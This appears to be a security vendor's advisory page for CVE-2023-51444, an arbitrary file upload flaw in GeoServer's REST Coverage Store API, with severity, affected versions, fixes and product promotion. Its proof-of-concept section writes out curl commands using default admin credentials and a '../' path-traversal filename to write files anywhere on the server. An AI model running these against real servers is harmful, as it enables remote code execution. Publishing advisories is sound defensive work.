How severe is GHSA-9v5q-2gwq-q9hq?

GHSA-9v5q-2gwq-q9hq has a CVSS score of 7.2/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-9v5q-2gwq-q9hq?

GHSA-9v5q-2gwq-q9hq affects the following packages: org.geoserver:gs-platform (Maven), org.geoserver:gs-restconfig (Maven), org.geoserver:gs-platform (Maven), org.geoserver:gs-restconfig (Maven). Ecosystems affected: Maven.

How do I fix GHSA-9v5q-2gwq-q9hq?

Update org.geoserver:gs-platform to 2.23.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9v5q-2gwq-q9hq is resolved across your whole dependency graph.

How do I detect GHSA-9v5q-2gwq-q9hq in my Maven dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.geoserver:gs-platform. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-9v5q-2gwq-q9hq if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-9v5q-2gwq-q9hq?

O3 pinpoints whether GHSA-9v5q-2gwq-q9hq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-9v5q-2gwq-q9hq actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-9v5q-2gwq-q9hq, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-9v5q-2gwq-q9hq?

GHSA-9v5q-2gwq-q9hq has an EPSS (Exploit Prediction Scoring System) score of 1.9%, placing it in the 77th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-9v5q-2gwq-q9hq published, and has it been updated?

GHSA-9v5q-2gwq-q9hq was published on March 20, 2024 and was last updated on March 20, 2024. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

☕ Maven

GHSA-9v5q-2gwq-q9hq

HIGH

Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API

Also known asCVE-2023-51444

Published

Mar 20, 2024

Updated

Mar 20, 2024

Affected

4 pkgs

Patched

4 / 4

Exploits

1 known

EPSS Exploitation Probability

via FIRST.org ↗

1.9%probability of exploitation in next 30 days

Lower Risk77th percentile-2.85%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

4 pkgs affected

☕org.geoserver:gs-platform☕org.geoserver:gs-restconfig☕org.geoserver:gs-platform☕org.geoserver:gs-restconfig

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.

Details

Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.

PoC

Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).

Impact

This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.

References

https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222

Affected Packages

4 total 4 fixed

Ecosystem	Package	Vulnerable range	Fix
☕Maven	`org.geoserver:gs-platform`	all versions	2.23.4
☕Maven	`org.geoserver:gs-restconfig`	all versions	2.23.4
☕Maven	`org.geoserver:gs-platform`	≥ 2.24.0&&< 2.24.1	2.24.1
☕Maven	`org.geoserver:gs-restconfig`	≥ 2.24.0&&< 2.24.1	2.24.1

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

GeoServer is an open source software server written in Java that allows …

github.comNVDDec 2024

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.geoserver:gs-platform. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.geoserver:gs-platform to 2.23.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9v5q-2gwq-q9hq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9v5q-2gwq-q9hq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9v5q-2gwq-q9hq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution. ### Details Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal. ### PoC Step 1 (crea

O3 Security · Impact-Aware SCA

Is GHSA-9v5q-2gwq-q9hq in your dependencies?

O3 detects GHSA-9v5q-2gwq-q9hq across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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